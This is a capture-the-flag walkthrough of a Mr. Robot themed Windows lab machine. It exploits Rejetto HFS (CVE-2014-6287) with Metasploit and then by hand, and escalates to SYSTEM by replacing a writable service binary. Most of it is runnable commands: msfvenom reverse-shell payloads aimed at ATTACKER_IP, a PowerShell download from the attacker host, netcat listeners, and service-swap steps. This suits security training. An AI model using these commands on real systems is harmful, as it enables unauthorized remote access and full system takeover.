A Mr. Robot themed Windows box. Initial access with Metasploit, then privesc to Administrator. Then we do the whole thing again without the training wheels.
The machine doesn’t respond to ping and takes a few minutes to boot.
Employee of the month: Bill Harper. Remember Bill. We’re going to ruin his month.
Initial recon
Port 80 is the obvious one. Let’s find the rest.
nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP
A second full-port pass to catch anything the first missed:
nmap -sS -Pn -sC -sV -p- -T4 -A TARGET_IP
The other web server is on 8080.
View source on :8080:
It took some digging and a small logic puzzle, but the file server running here is Rejetto HTTP File Server.
Finding the CVE
I’d normally reach for searchsploit, but Metasploit is doing the heavy lifting next, so:
msfconsole
search rejetto
The 2025 CVE didn’t fit the constraints, so I went to NIST for the 2014 one. I trust NIST, and was right to.
CVE: 2014-6287
Initial shell via Metasploit
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS TARGET_IP
set LHOST ATTACKER_IP
set RPORT 8080
show options
runI hit this error twice:
Metasploit was trying to both attack the target on 8080 and host its own callback server on 8080 locally. My local 8080 was already occupied. Easy fix, move the stager to 8081:
set SRVPORT 8081
run
Once you land in meterpreter:
meterpreter > shell
cd C:\Users\bill\Desktop
more user.txt
User flag: b04763b6fcf51fcd7c13abc7db4fd365
Privesc with PowerUp
Now we enumerate for misconfigurations. We’ll use PowerUp, a PowerShell script that hunts common Windows privesc vectors.
Upload it through meterpreter:
meterpreter > upload /home/jenn/Downloads/PowerUp.ps1
meterpreter > load powershell
meterpreter > powershell_shell
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks
PowerUp flags a service with CanRestart set to true, which means we can restart it ourselves.
The vulnerable service is AdvancedSystemCareService9, an unquoted service path. The application’s directory is writable, so we can swap the legitimate binary for a malicious one.
Generate a reverse shell as a service executable:
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exeUpload it, stop the service, drop our binary in place, start a listener, restart the service.
upload Advanced.exe
meterpreter > shell
sc stop AdvancedSystemCareService9
copy Advanced.exe "\Program Files (x86)\IObit\Advanced SystemCare\Advanced.exe"Listener on the attacker box:
nc -nlvp 4443Restart the service to trigger our binary as SYSTEM:
sc start AdvancedSystemCareService9
As soon as the listener pops:
cd C:\Users\Administrator\Desktop
more root.txt
Root flag: 9af5f314f57607c00fd09803a587db80
Now without Metasploit
Same box, no training wheels. This is the part that matters.
Grab the manual exploit from ExploitDB (39161):
Confirm you have an nc.exe binary to serve:
locate nc.exeDrop the exploit into a file, set your IP and port, and adjust the VBS line:
nano rejetto_goblin.pyThe script is Python2. If it throws errors, convert it:
python3 -m lib2to3 -w rejetto_goblin.pyThree windows on the attacker box: a Python web server, a listener, and the exploit.
sudo python3 -m http.server 80 # window 1
nc -nlvp 4444 # window 2
python3 rejetto_goblin.py TARGET_IP 8080 # window 3Run the exploit once to stage, then again to fire.
And Bill is pwned again, this time by hand.
Manual privesc with winPEAS
Stage winPEAS:
cp /usr/share/peass/winpeas/winPEASx64.exe ~/winPEAS.exePull it onto Bill’s box and run it. The critical line:
AdvancedSystemCareService9 ... ASCService.exe ... Auto - Stopped
File Permissions: bill [Allow: WriteData/CreateFiles]Bill can overwrite the service binary, and the service runs as LocalSystem. Same vulnerability, found by hand.
Build the replacement binary:
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe -o ASCService.exeDownload it onto Bill’s box:
powershell -c wget "http://ATTACKER_IP/ASCService.exe" -outfile "ASCService.exe"New listener:
nc -nlvp 4445Stop the service, swap the binary, start it again:
sc stop AdvancedSystemCareService9
copy /Y ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
sc start AdvancedSystemCareService9
Score again. SYSTEM shell, no Metasploit anywhere in the chain.
The PowerShell one-liner to find the service name by hand, for the record:
powershell -c "Get-Service"Two roads to the same SYSTEM shell. The framework is faster. Doing it by hand is how you actually learn what the framework was doing for you.
Full Attack Chain
# 1. Recon
nmap -sS -Pn -sC -sV -p- -T4 -A TARGET_IP
# Port 80 and 8080 (web). 8080 = Rejetto HTTP File Server.
# 2. Identify CVE-2014-6287 (Rejetto HFS RCE)
# --- PATH A: Metasploit ---
# 3. Initial shell
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS TARGET_IP
set LHOST ATTACKER_IP
set RPORT 8080
set SRVPORT 8081 # avoid local 8080 conflict
run # meterpreter -> user.txt
# 4. Privesc: PowerUp finds AdvancedSystemCareService9 (unquoted path, writable, CanRestart)
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
# upload, sc stop, copy into service dir, nc -nlvp 4443, sc start -> SYSTEM -> root.txt
# --- PATH B: no Metasploit ---
# 5. Manual exploit (ExploitDB 39161, Python2 -> 2to3)
sudo python3 -m http.server 80
nc -nlvp 4444
python3 rejetto_goblin.py TARGET_IP 8080 # run twice
# 6. winPEAS confirms same service misconfig by hand
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe -o ASCService.exe
# wget onto target, nc -nlvp 4445
sc stop AdvancedSystemCareService9
copy /Y ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
sc start AdvancedSystemCareService9 # SYSTEMRecap: Rejetto HFS (CVE-2014-6287) for initial access, AdvancedSystemCareService9 unquoted service path for privesc to SYSTEM. Done twice, with Metasploit and entirely by hand.